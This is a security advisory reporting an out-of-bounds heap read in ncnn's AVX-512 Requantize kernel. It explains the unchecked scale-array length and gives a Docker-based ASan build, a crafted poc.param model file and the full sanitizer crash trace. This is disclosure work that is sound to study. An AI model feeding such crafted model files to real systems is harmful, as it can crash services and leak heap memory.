AVX-512 Requantize Out-of-Bounds Read
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/requantize_x86.cpp:50 in requantize
Sanitizer verdict: unknown-crash
Summary
A crafted .param/.bin pair fed to ncnnoptimize makes the AVX-512 Requantize kernel load 64 bytes of per-channel scale data from a two-float array, reading 44 bytes past the end of the heap allocation and aborting the tool during its shape-inference pass. The attacker controls both the declared scale-array length (Requantize parameter 0) and the channel count of the layer's input blob, and ncnn never requires the two to agree. The out-of-bounds bytes are consumed as floating-point requantization constants, so adjacent heap contents flow into the layer's output before the process dies. Entry point is the ncnnoptimize CLI, which loads the model at tools/ncnnoptimize.cpp:2797 and then runs a full forward pass from ModelWriter::shape_inference().
Detail
The untrusted field is scale_in_data_size, read from parameter key 0 in Requantize::load_param (src/layer/requantize.cpp:26). Requantize::load_model then allocates exactly that many floats with mb.load(scale_in_data_size, 1). Nothing compares that length against the number of channels the layer will actually be asked to process — that number comes from an entirely separate part of the graph, the shape of the blob produced by the preceding layer.
In the x86 packed path, Requantize_x86::forward slices the scale array per output channel with Mat::range(q * elempack, elempack), which performs no bounds checking, and hands the slice to the static requantize() helper. That helper only tests scale_in_data_size > 1 before issuing a full-width 16-lane load:
// src/layer/x86/requantize_x86.cpp:358
const Mat scale_in_data_q = scale_in_data_size > 1 ? scale_in_data.range(q * elempack, elempack) : scale_in_data;
const Mat bias_data_q = bias_data_size > 1 ? bias_data.range(q * elempack, elempack) : bias_data;
const Mat scale_out_data_q = scale_out_data_size > 1 ? scale_out_data.range(q * elempack, elempack) : scale_out_data;
requantize(intptr, ptr, scale_in_data_q, bias_data_q, scale_out_data_q, activation_type, activation_params, w * h * d, elempack);
// src/layer/x86/requantize_x86.cpp:45
if (scale_in_data_size > 1)
{
#if __AVX512F__
if (elempack == 16)
{
_scale_in_avx512 = _mm512_loadu_ps((const float*)scale_in_data);
}
The PoC declares Input data 0 1 data 0=1 1=1 2=32, i.e. a 1x1x32 blob. On an AVX-512 build the packing layout gives elempack == 16, so channels is 2 and the forward loop runs for q = 0 and q = 1. The Requantize layer declares 0=2, so scale_in_data holds two floats inside ncnn's 84-byte minimum allocation. For q = 1 the slice starts at 1 * 16 == 16 floats, i.e. byte offset 64, and _mm512_loadu_ps at line 50 reads bytes 64 through 127 of an allocation that ends at byte 84 — the exact 64-byte read at region_start + 64 that AddressSanitizer reports. The same unchecked pattern applies to bias_data and scale_out_data on lines 359 and 360.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-avx-512-requantize-out-of-bounds-read && cd ncnn-poc-avx-512-requantize-out-of-bounds-read
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'PARAM'
7767517
2 2
Input data 0 1 data 0=1 1=1 2=32
Requantize rq 1 1 data out 0=2
PARAM
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
=================================================================
==1==ERROR: AddressSanitizer: unknown-crash on address 0x50e000000080 at pc 0x582020f1dbcb bp 0x7ffe9b0a82f0 sp 0x7ffe9b0a82e0
READ of size 64 at 0x50e000000080 thread T0
#0 0x582020f1dbca in _mm512_loadu_ps(void const*) /usr/lib/gcc/x86_64-linux-gnu/13/include/avx512fintrin.h:6342
#1 0x582020f1dbca in requantize /ncnn/build/src/layer/x86/requantize_x86_avx512.cpp:50
#2 0x582020f4939a in ncnn::Requantize_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/requantize_x86_avx512.cpp:362
#3 0x58201af9cf2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
#4 0x58201af8eb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#5 0x58201afee9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#6 0x58201ae803c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#7 0x58201aefdeee in main /ncnn/tools/ncnnoptimize.cpp:2844
#8 0x7793933431c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x77939334328a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#10 0x58201ae7d624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
0x50e000000094 is located 0 bytes after 84-byte region [0x50e000000040,0x50e000000094)
allocated by thread T0 here:
#0 0x7793939bcf1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x58201af4cbc5 in fastMalloc /ncnn/src/allocator.h:62
#2 0x58201af4cbc5 in ncnn::Mat::create(int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:331
#3 0x58201af81c1a in ncnn::ModelBinFromDataReader::load(int, int) const /ncnn/src/modelbin.cpp:309
#4 0x582020eee8dc in ncnn::Requantize::load_model(ncnn::ModelBin const&) /ncnn/src/layer/requantize.cpp:37
#5 0x58201afe9a84 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2080
#6 0x58201aefdc34 in main /ncnn/tools/ncnnoptimize.cpp:2793
#7 0x7793933431c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x77939334328a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x58201ae7d624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
SUMMARY: AddressSanitizer: unknown-crash /usr/lib/gcc/x86_64-linux-gnu/13/include/avx512fintrin.h:6342 in _mm512_loadu_ps(void const*)
Credit
Zheng Yu @ DepthFirst